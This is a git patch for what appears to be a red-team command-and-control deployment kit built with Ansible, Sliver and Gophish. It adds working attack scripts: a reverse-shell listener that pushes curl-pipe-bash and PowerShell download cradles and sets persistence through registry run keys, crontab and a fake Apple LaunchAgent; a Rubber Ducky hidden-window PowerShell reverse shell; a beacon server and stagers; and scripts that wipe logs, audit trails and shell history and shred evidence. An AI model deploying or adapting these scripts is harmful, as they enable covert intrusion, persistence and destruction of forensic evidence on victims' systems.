From 4acb02a88f0983c64b42ed07cddb2724e0a10f56 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Fri, 11 Apr 2025 21:00:11 -0400 Subject: [PATCH] moved things around --- Linode/configure-redirector.yml | 4 +- Linode/{configure-c2.yml => configure_c2.yml} | 20 +-- Linode/redirector.yml | 1 + Linode/templates/gophish-config.j2 | 23 --- deploy.py | 92 +---------- {files => tasks}/clean-logs.sh | 0 tasks/files/clean-logs.sh | 98 +++++++++++ {files => tasks/files}/persistent-listener.sh | 0 {files => tasks/files}/rubber-ducky.txt | 0 {files => tasks/files}/secure-exit.sh | 0 {files => tasks/files}/serve-beacons.sh | 0 tasks/persistent-listener.sh | 156 ++++++++++++++++++ tasks/rubber-ducky.txt | 52 ++++++ tasks/secure-exit.sh | 96 +++++++++++ tasks/serve-beacons.sh | 72 ++++++++ {FlokiNET => tasks}/templates/default-site.j2 | 0 .../templates/gophish-config.j2 | 0 {FlokiNET => tasks}/templates/index.html.j2 | 0 {FlokiNET => tasks}/templates/motd-aws.j2 | 0 {Linode => tasks}/templates/motd-linode.j2 | 0 {FlokiNET => tasks}/templates/nginx.conf.j2 | 0 .../templates/proxychains.conf.j2 | 0 {FlokiNET => tasks}/templates/resolv.conf.j2 | 0 .../templates/secure-ssh.sh.j2 | 0 .../templates/shell-handler.service.j2 | 0 .../templates/sliver-server.service.j2 | 0 {FlokiNET => tasks}/templates/torrc.j2 | 0 27 files changed, 487 insertions(+), 127 deletions(-) rename Linode/{configure-c2.yml => configure_c2.yml} (97%) delete mode 100644 Linode/templates/gophish-config.j2 rename {files => tasks}/clean-logs.sh (100%) create mode 100644 tasks/files/clean-logs.sh rename {files => tasks/files}/persistent-listener.sh (100%) rename {files => tasks/files}/rubber-ducky.txt (100%) rename {files => tasks/files}/secure-exit.sh (100%) rename {files => tasks/files}/serve-beacons.sh (100%) create mode 100644 tasks/persistent-listener.sh create mode 100644 tasks/rubber-ducky.txt create mode 100644 tasks/secure-exit.sh create mode 100644 tasks/serve-beacons.sh rename {FlokiNET => tasks}/templates/default-site.j2 (100%) rename {FlokiNET => tasks}/templates/gophish-config.j2 (100%) rename {FlokiNET => tasks}/templates/index.html.j2 (100%) rename {FlokiNET => tasks}/templates/motd-aws.j2 (100%) rename {Linode => tasks}/templates/motd-linode.j2 (100%) rename {FlokiNET => tasks}/templates/nginx.conf.j2 (100%) rename {FlokiNET => tasks}/templates/proxychains.conf.j2 (100%) rename {FlokiNET => tasks}/templates/resolv.conf.j2 (100%) rename {FlokiNET => tasks}/templates/secure-ssh.sh.j2 (100%) rename {FlokiNET => tasks}/templates/shell-handler.service.j2 (100%) rename {FlokiNET => tasks}/templates/sliver-server.service.j2 (100%) rename {FlokiNET => tasks}/templates/torrc.j2 (100%) diff --git a/Linode/configure-redirector.yml b/Linode/configure-redirector.yml index 4d7357c..1acf87d 100644 --- a/Linode/configure-redirector.yml +++ b/Linode/configure-redirector.yml @@ -102,7 +102,7 @@ - name: Copy clean-logs.sh script copy: - src: "../files/clean-logs.sh" + src: "../files/clean-logs.sh" # Fix the path to point to root files directory dest: /opt/c2/clean-logs.sh mode: '0700' owner: root @@ -110,7 +110,7 @@ - name: Copy shell handler script copy: - src: "../files/persistent-listener.sh" + src: "../files/persistent-listener.sh" # Use relative path with ../ prefix dest: /opt/shell-handler/persistent-listener.sh mode: '0700' owner: root diff --git a/Linode/configure-c2.yml b/Linode/configure_c2.yml similarity index 97% rename from Linode/configure-c2.yml rename to Linode/configure_c2.yml index 1aaa4d2..bb3573a 100644 --- a/Linode/configure-c2.yml +++ b/Linode/configure_c2.yml @@ -446,23 +446,17 @@ group: root ignore_errors: true - - name: Copy clean-logs.sh script + - name: Copy operational scripts copy: - src: "../files/clean-logs.sh" - dest: /opt/c2/clean-logs.sh + src: "../files/{{ item }}" # Fix path to use ../files/ + dest: "/opt/c2/{{ item }}" mode: '0700' owner: root group: root - ignore_errors: true - - - name: Copy secure-exit.sh script - copy: - src: "../files/secure-exit.sh" - dest: /opt/c2/secure-exit.sh - mode: '0700' - owner: root - group: root - ignore_errors: true + with_items: + - clean-logs.sh + - secure-exit.sh + - serve-beacons.sh - name: Set up cron job for log cleaning if zero-logs enabled cron: diff --git a/Linode/redirector.yml b/Linode/redirector.yml index 039ac59..c36acb1 100644 --- a/Linode/redirector.yml +++ b/Linode/redirector.yml @@ -86,6 +86,7 @@ vars: c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}" redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" + ansible_python_interpreter: auto # Explicitly add this line tasks: - name: Wait for apt to be available apt: diff --git a/Linode/templates/gophish-config.j2 b/Linode/templates/gophish-config.j2 deleted file mode 100644 index b7e5b70..0000000 --- a/Linode/templates/gophish-config.j2 +++ /dev/null @@ -1,23 +0,0 @@ -{ - "admin_server": { - "listen_url": "0.0.0.0:{{ gophish_admin_port }}", - "use_tls": true, - "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem", - "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem" - "trusted_origins": [] - }, - "phish_server": { - "listen_url": "0.0.0.0:80", - "use_tls": false, - "cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem", - "key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem" - }, - "db_name": "sqlite3", - "db_path": "gophish.db", - "migrations_prefix": "db/db_", - "contact_address": "", - "logging": { - "filename": "", - "level": "" - } -} diff --git a/deploy.py b/deploy.py index ecad9c5..85c8924 100644 --- a/deploy.py +++ b/deploy.py @@ -490,7 +490,7 @@ def create_inventory_file(config, deployment_type): # For local execution, use the current Python interpreter inventory_content.append(f"ansible_python_interpreter={sys.executable}") else: - # For remote hosts, let Ansible auto-detect the Python interpreter + # For remote hosts, explicitly set to auto-detect or python3 inventory_content.append("ansible_python_interpreter=auto") # Add specific host sections based on deployment type @@ -531,94 +531,8 @@ def run_ansible_playbook(playbook, inventory, config, debug=False): # Map linode_region to selected_region for compatibility extra_vars['selected_region'] = extra_vars['linode_region'] - # Explicitly set hard-coded user values rather than using templated defaults - if 'ssh_user' in extra_vars: - extra_vars.pop('ssh_user') - if config['provider'] == 'linode': - extra_vars['ssh_user'] = 'root' - else: - extra_vars['ssh_user'] = 'kali' - - # Remove the Python interpreter setting from extra_vars - # It should be set properly in the inventory file instead - if 'ansible_python_interpreter' in extra_vars: - extra_vars.pop('ansible_python_interpreter') - - extra_vars_json = json.dumps(extra_vars) - - # Set PYTHONPATH to include site-packages - env = os.environ.copy() - current_python = sys.executable - python_path = subprocess.check_output( - [current_python, "-c", "import sys; import site; print(':'.join(sys.path + site.getsitepackages()))"], - text=True - ).strip() - env["PYTHONPATH"] = python_path - - # Build command - cmd = [ - "ansible-playbook", - "-i", inventory, - playbook, - "-e", extra_vars_json - ] - - # Add verbosity if debug mode is enabled - if debug: - cmd.append("-vvv") - else: - # Always add some verbosity for basic output - cmd.append("-v") - - # Log the command - if debug: - logging.debug(f"Running Ansible command: {' '.join(cmd)}") - else: - logging.info(f"Running Ansible playbook: {playbook}") - - # Run the command - try: - result = subprocess.run( - cmd, - check=True, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, - env=env # Use the modified environment - ) - logging.info(f"Playbook {playbook} executed successfully") - return True, result.stdout, result.stderr - except subprocess.CalledProcessError as e: - logging.error(f"Playbook {playbook} failed with exit code {e.returncode}") - if debug: - logging.error(f"Command stdout: {e.stdout}") - logging.error(f"Command stderr: {e.stderr}") - return False, e.stdout, e.stderr - -def run_ansible_playbook(playbook, inventory, config, debug=False): - """Run an Ansible playbook with the given inventory and config""" - # Convert config dict to JSON for extra-vars - # Filter out None values and complex objects - extra_vars = {k: v for k, v in config.items() if v is not None and not isinstance(v, (dict, list, tuple))} - - # Handle the region parameter correctly - if 'region' in extra_vars: - # Set selected_region to match what the playbook expects - extra_vars['selected_region'] = extra_vars['region'] - elif 'linode_region' in extra_vars: - # Map linode_region to selected_region for compatibility - extra_vars['selected_region'] = extra_vars['linode_region'] - - # Explicitly set hard-coded user values rather than using templated defaults - if 'ssh_user' in extra_vars: - extra_vars.pop('ssh_user') - if config['provider'] == 'linode': - extra_vars['ssh_user'] = 'root' - else: - extra_vars['ssh_user'] = 'kali' - - # CRITICAL FIX: Remove the ansible_python_interpreter from extra_vars - # This allows the inventory file setting to take precedence + # CRITICAL FIX: Remove ansible_python_interpreter from extra_vars + # This prevents local interpreter path from being used on remote hosts if 'ansible_python_interpreter' in extra_vars: extra_vars.pop('ansible_python_interpreter') diff --git a/files/clean-logs.sh b/tasks/clean-logs.sh similarity index 100% rename from files/clean-logs.sh rename to tasks/clean-logs.sh diff --git a/tasks/files/clean-logs.sh b/tasks/files/clean-logs.sh new file mode 100644 index 0000000..5ad4baa --- /dev/null +++ b/tasks/files/clean-logs.sh @@ -0,0 +1,98 @@ +#!/bin/bash +# Zero-logs maintenance script + +# Set aggressive umask to minimize permission footprint +umask 077 + +# Configuration +LOG_DIRS=( + "/var/log" + "/var/spool/mail" + "/var/spool/postfix" + "/var/lib/dhcp" + "/root/.bash_history" + "/home/*/.bash_history" + "/var/lib/nginx" +) + +SYSTEM_LOGS=( + "auth.log" + "syslog" + "messages" + "kern.log" + "daemon.log" + "user.log" + "btmp" + "wtmp" + "lastlog" +) + +# Disable syslog temporarily +systemctl stop rsyslog 2>/dev/null +systemctl stop syslog-ng 2>/dev/null +systemctl stop systemd-journald 2>/dev/null + +# Clear all standard logs +echo "[+] Clearing standard system logs..." +for log in "${SYSTEM_LOGS[@]}"; do + find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null + find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null +done + +# Clear all journal logs +echo "[+] Clearing systemd journal..." +journalctl --vacuum-time=1s 2>/dev/null +rm -rf /var/log/journal/* 2>/dev/null + +# Clear audit logs +echo "[+] Clearing audit logs..." +auditctl -e 0 2>/dev/null +cat /dev/null > /var/log/audit/audit.log 2>/dev/null + +# Clear bash history for all users +echo "[+] Clearing bash history..." +for histfile in /root/.bash_history /home/*/.bash_history; do + [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null +done +history -c +cat /dev/null > ~/.bash_history 2>/dev/null +unset HISTFILE + +# Clear NGINX logs +echo "[+] Clearing NGINX logs..." +for nginx_log in /var/log/nginx/*; do + [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null +done + +# Clear SSH logs +echo "[+] Clearing SSH logs..." +cat /dev/null > /var/log/auth.log 2>/dev/null +cat /dev/null > /var/log/secure 2>/dev/null + +# Clear mail logs +echo "[+] Clearing mail logs..." +cat /dev/null > /var/log/mail.log 2>/dev/null +cat /dev/null > /var/log/maillog 2>/dev/null + +# Clear sliver logs +echo "[+] Clearing Sliver C2 logs..." +find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null +find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null + +# Clear temporary directories +echo "[+] Clearing temporary files..." +rm -rf /tmp/* /var/tmp/* 2>/dev/null + +# Clear RAM and swap +echo "[+] Clearing RAM cache and swap..." +sync +echo 3 > /proc/sys/vm/drop_caches +swapoff -a && swapon -a 2>/dev/null + +# Restart logging services +systemctl start systemd-journald 2>/dev/null +systemctl start rsyslog 2>/dev/null +systemctl start syslog-ng 2>/dev/null + +echo "[+] Log cleaning complete" +exit 0 \ No newline at end of file diff --git a/files/persistent-listener.sh b/tasks/files/persistent-listener.sh similarity index 100% rename from files/persistent-listener.sh rename to tasks/files/persistent-listener.sh diff --git a/files/rubber-ducky.txt b/tasks/files/rubber-ducky.txt similarity index 100% rename from files/rubber-ducky.txt rename to tasks/files/rubber-ducky.txt diff --git a/files/secure-exit.sh b/tasks/files/secure-exit.sh similarity index 100% rename from files/secure-exit.sh rename to tasks/files/secure-exit.sh diff --git a/files/serve-beacons.sh b/tasks/files/serve-beacons.sh similarity index 100% rename from files/serve-beacons.sh rename to tasks/files/serve-beacons.sh diff --git a/tasks/persistent-listener.sh b/tasks/persistent-listener.sh new file mode 100644 index 0000000..22a689b --- /dev/null +++ b/tasks/persistent-listener.sh @@ -0,0 +1,156 @@ +#!/bin/bash +# Automated shell handler for catching and upgrading reverse shells + +# Configuration +LISTEN_PORT=4444 +C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP +C2_PORT=50051 # Sliver default gRPC port +WINDOWS_BEACON="/opt/beacons/windows.exe" +LINUX_BEACON="/opt/beacons/linux" +MACOS_BEACON="/opt/beacons/macos" + +# Set secure permissions +umask 077 + +# Logging function (minimal and encrypted) +log() { + local timestamp=$(date +"%Y-%m-%d %H:%M:%S") + local message="$1" + echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc +} + +# Detect OS function +detect_os() { + local connection=$1 + + # Send commands to determine OS + echo "echo \$OSTYPE" > $connection + sleep 1 + ostype=$(cat $connection | grep -i "linux\|darwin\|win") + + if [[ $ostype == *"win"* ]]; then + echo "windows" + elif [[ $ostype == *"darwin"* ]]; then + echo "macos" + elif [[ $ostype == *"linux"* ]]; then + echo "linux" + else + # Try Windows-specific command + echo "ver" > $connection + sleep 1 + winver=$(cat $connection | grep -i "microsoft windows") + + if [[ -n "$winver" ]]; then + echo "windows" + else + # Default to Linux if we can't determine + echo "linux" + fi + fi +} + +# Deploy appropriate beacon based on OS +deploy_beacon() { + local connection=$1 + local os_type=$2 + + log "Deploying beacon for detected OS: $os_type" + + case $os_type in + windows) + # Upload Windows beacon using PowerShell download cradle + echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection + ;; + linux) + # Upload Linux beacon using curl + echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection + ;; + macos) + # Upload macOS beacon using curl + echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection + ;; + esac + + log "Beacon deployment command sent" +} + +# Establish persistence based on OS +establish_persistence() { + local connection=$1 + local os_type=$2 + + log "Attempting to establish persistence on $os_type" + + case $os_type in + windows) + # Windows persistence via registry run key + echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection + ;; + linux) + # Linux persistence via crontab + echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection + ;; + macos) + # macOS persistence via launch agent + echo "mkdir -p ~/Library/LaunchAgents" > $connection + echo "echo 'Labelcom.apple.software.updateProgramArgumentsbash-ccurl -s http://$C2_HOST:8443/check.sh | bashRunAtLoadStartInterval900' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection + echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection + ;; + esac + + log "Persistence commands sent for $os_type" +} + +# Main shell handler loop +handle_connections() { + log "Shell handler started on port $LISTEN_PORT" + + # Use mkfifo for bidirectional communication + PIPE_PATH="/tmp/shell_handler_pipe" + trap 'rm -f $PIPE_PATH' EXIT + + while true; do + # Clean up existing pipe + rm -f $PIPE_PATH + mkfifo $PIPE_PATH + + log "Waiting for incoming connection..." + nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & + NC_PID=$! + + # Wait for connection to be established + while ! grep -q . $PIPE_PATH.output 2>/dev/null; do + sleep 1 + # Check if nc is still running + if ! kill -0 $NC_PID 2>/dev/null; then + log "Netcat process died, restarting..." + rm -f $PIPE_PATH $PIPE_PATH.output + continue 2 # Restart the outer loop + fi + done + + log "Connection received, detecting OS..." + DETECTED_OS=$(detect_os "$PIPE_PATH.output") + log "Detected OS: $DETECTED_OS" + + # Deploy beacon + deploy_beacon "$PIPE_PATH" "$DETECTED_OS" + sleep 5 + + # Establish persistence + establish_persistence "$PIPE_PATH" "$DETECTED_OS" + sleep 5 + + # Keep connection alive for manual operation if needed + log "Beacon deployed, maintaining shell connection..." + echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH + + # Wait for connection to close + wait $NC_PID + log "Connection closed, cleaning up and restarting listener..." + rm -f $PIPE_PATH.output + done +} + +# Start the shell handler +handle_connections \ No newline at end of file diff --git a/tasks/rubber-ducky.txt b/tasks/rubber-ducky.txt new file mode 100644 index 0000000..b6fb59e --- /dev/null +++ b/tasks/rubber-ducky.txt @@ -0,0 +1,52 @@ +REM Title: C2ingRed Reverse Shell +REM Author: C2ingRed +REM Description: Establishes a reverse shell to the C2 redirector +REM Target: Windows 10/11 +REM Version: 1.0 + +REM Configuration: Modify these values to match your redirector setup +REM REDIRECTOR_HOST: Your redirector domain or IP +REM REDIRECTOR_PORT: Port where shell handler is listening +REM SHELL_TYPE: powershell or cmd + +REM ============= Start of configuration ============= +REM REDIRECTOR_HOST=cdn.example.com +REM REDIRECTOR_PORT=4444 +REM SHELL_TYPE=powershell +REM ============= End of configuration =============== + +REM Minimize the chance of detection by hiding the window +DELAY 1000 +GUI r +DELAY 500 +STRING powershell -WindowStyle Hidden +ENTER +DELAY 2000 + +REM Main reverse shell payload +STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit } +ENTER + +REM Attempt to create socket connection with retry logic +STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; } +ENTER + +REM Setup streams +STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0 +ENTER + +REM Execute either PowerShell or CMD shell based on configuration +STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null +ENTER + +REM Setup IO redirection +STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null) +ENTER + +REM Main communication loop +STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup } +ENTER + +REM Execute and complete +STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5' +ENTER \ No newline at end of file diff --git a/tasks/secure-exit.sh b/tasks/secure-exit.sh new file mode 100644 index 0000000..0f0d6ea --- /dev/null +++ b/tasks/secure-exit.sh @@ -0,0 +1,96 @@ +#!/bin/bash +# Secure cleanup script for terminating the C2 infrastructure + +# Configuration +SECURE_DELETE_PASSES=7 +MEMORY_WIPE=true +SELF_DESTRUCT=false # Set to true for complete instance termination (if API available) + +# Set secure umask +umask 077 + +# Function to securely delete files +secure_delete() { + local target=$1 + echo "[+] Securely deleting: $target" + + if command -v srm > /dev/null; then + srm -vzf $target 2>/dev/null + elif command -v shred > /dev/null; then + shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null + else + # Fallback to dd if specialized tools aren't available + dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null + dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null + rm -f $target 2>/dev/null + fi +} + +echo "[+] Beginning secure exit procedure..." + +# Stop all operational services +echo "[+] Stopping operational services..." +services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot") +for service in "${services[@]}"; do + systemctl stop $service 2>/dev/null + service $service stop 2>/dev/null +done + +# Kill any remaining operational processes +echo "[+] Terminating operational processes..." +process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor") +for proc in "${process_names[@]}"; do + pkill -9 $proc 2>/dev/null +done + +# Clear all logs +echo "[+] Clearing logs..." +bash /opt/c2/clean-logs.sh + +# Securely delete operational files +echo "[+] Removing operational files..." +operational_dirs=( + "/opt/c2" + "/opt/beacons" + "/opt/payloads" + "/root/.sliver" + "/root/.msf4" + "/root/.gophish" + "/root/Tools" + "/home/*/Tools" + "/var/www/html" +) + +for dir in "${operational_dirs[@]}"; do + find $dir -type f 2>/dev/null | while read file; do + secure_delete "$file" + done + rm -rf $dir 2>/dev/null +done + +# Remove SSH keys +echo "[+] Removing SSH keys and configs..." +find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do + secure_delete "$file" +done + +# Clean memory if requested +if $MEMORY_WIPE; then + echo "[+] Wiping system memory..." + sync + echo 3 > /proc/sys/vm/drop_caches + swapoff -a + swapon -a +fi + +# Self-destruct if configured (for cloud providers with API access) +if $SELF_DESTRUCT; then + echo "[+] Initiating self-destruct sequence..." + # This would typically call the cloud provider's API to terminate the instance + # For FlokiNET, this would need to be handled manually +fi + +echo "[+] Secure exit completed. Infrastructure has been sanitized." + +# Remove this script itself +exec shred -n $SECURE_DELETE_PASSES -uz $0 \ No newline at end of file diff --git a/tasks/serve-beacons.sh b/tasks/serve-beacons.sh new file mode 100644 index 0000000..3af5cf8 --- /dev/null +++ b/tasks/serve-beacons.sh @@ -0,0 +1,72 @@ +#!/bin/bash +# Beacon server script to host generated implants + +# Configuration +BEACONS_DIR="/opt/beacons" +WEBSERVER_PORT=8443 +CERTIFICATE="/etc/ssl/private/beacon-server.pem" +KEY="/etc/ssl/private/beacon-server.key" + +# Set secure umask +umask 077 + +# Ensure beacons directory exists +mkdir -p $BEACONS_DIR + +# Function to generate beacons using Sliver +generate_beacons() { + echo "[+] Generating beacons for all platforms..." + + # Make sure Sliver server is running + if ! pgrep -x "sliver-server" > /dev/null; then + echo "[!] Sliver server is not running, starting it..." + systemctl start sliver + sleep 5 + fi + + # Generate Windows beacon + sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe + + # Generate Linux beacon + sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux + + # Generate macOS beacon + sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos + + # Generate stagers + echo "#!/bin/bash +curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh + chmod +x $BEACONS_DIR/beacon.sh + + echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; +\$url = 'http://$C2_HOST:8443/windows.exe'; +\$outpath = \"\$env:TEMP\\update.exe\"; +Invoke-WebRequest -Uri \$url -OutFile \$outpath; +Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1 + + echo "[+] All beacons generated successfully" +} + +# Generate beacons +generate_beacons + +# Serve beacons using Python's HTTP server (with SSL if certificate exists) +if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then + echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..." + cd $BEACONS_DIR + python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & + SERVER_PID=$! +else + echo "[+] Starting HTTP server on port $WEBSERVER_PORT..." + cd $BEACONS_DIR + python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & + SERVER_PID=$! +fi + +echo "[+] Beacon server started with PID $SERVER_PID" +echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/" +echo "[+] Press Ctrl+C to stop the server" + +# Keep script running and respond to Ctrl+C +trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT +while true; do sleep 1; done \ No newline at end of file diff --git a/FlokiNET/templates/default-site.j2 b/tasks/templates/default-site.j2 similarity index 100% rename from FlokiNET/templates/default-site.j2 rename to tasks/templates/default-site.j2 diff --git a/FlokiNET/templates/gophish-config.j2 b/tasks/templates/gophish-config.j2 similarity index 100% rename from FlokiNET/templates/gophish-config.j2 rename to tasks/templates/gophish-config.j2 diff --git a/FlokiNET/templates/index.html.j2 b/tasks/templates/index.html.j2 similarity index 100% rename from FlokiNET/templates/index.html.j2 rename to tasks/templates/index.html.j2 diff --git a/FlokiNET/templates/motd-aws.j2 b/tasks/templates/motd-aws.j2 similarity index 100% rename from FlokiNET/templates/motd-aws.j2 rename to tasks/templates/motd-aws.j2 diff --git a/Linode/templates/motd-linode.j2 b/tasks/templates/motd-linode.j2 similarity index 100% rename from Linode/templates/motd-linode.j2 rename to tasks/templates/motd-linode.j2 diff --git a/FlokiNET/templates/nginx.conf.j2 b/tasks/templates/nginx.conf.j2 similarity index 100% rename from FlokiNET/templates/nginx.conf.j2 rename to tasks/templates/nginx.conf.j2 diff --git a/FlokiNET/templates/proxychains.conf.j2 b/tasks/templates/proxychains.conf.j2 similarity index 100% rename from FlokiNET/templates/proxychains.conf.j2 rename to tasks/templates/proxychains.conf.j2 diff --git a/FlokiNET/templates/resolv.conf.j2 b/tasks/templates/resolv.conf.j2 similarity index 100% rename from FlokiNET/templates/resolv.conf.j2 rename to tasks/templates/resolv.conf.j2 diff --git a/FlokiNET/templates/secure-ssh.sh.j2 b/tasks/templates/secure-ssh.sh.j2 similarity index 100% rename from FlokiNET/templates/secure-ssh.sh.j2 rename to tasks/templates/secure-ssh.sh.j2 diff --git a/FlokiNET/templates/shell-handler.service.j2 b/tasks/templates/shell-handler.service.j2 similarity index 100% rename from FlokiNET/templates/shell-handler.service.j2 rename to tasks/templates/shell-handler.service.j2 diff --git a/FlokiNET/templates/sliver-server.service.j2 b/tasks/templates/sliver-server.service.j2 similarity index 100% rename from FlokiNET/templates/sliver-server.service.j2 rename to tasks/templates/sliver-server.service.j2 diff --git a/FlokiNET/templates/torrc.j2 b/tasks/templates/torrc.j2 similarity index 100% rename from FlokiNET/templates/torrc.j2 rename to tasks/templates/torrc.j2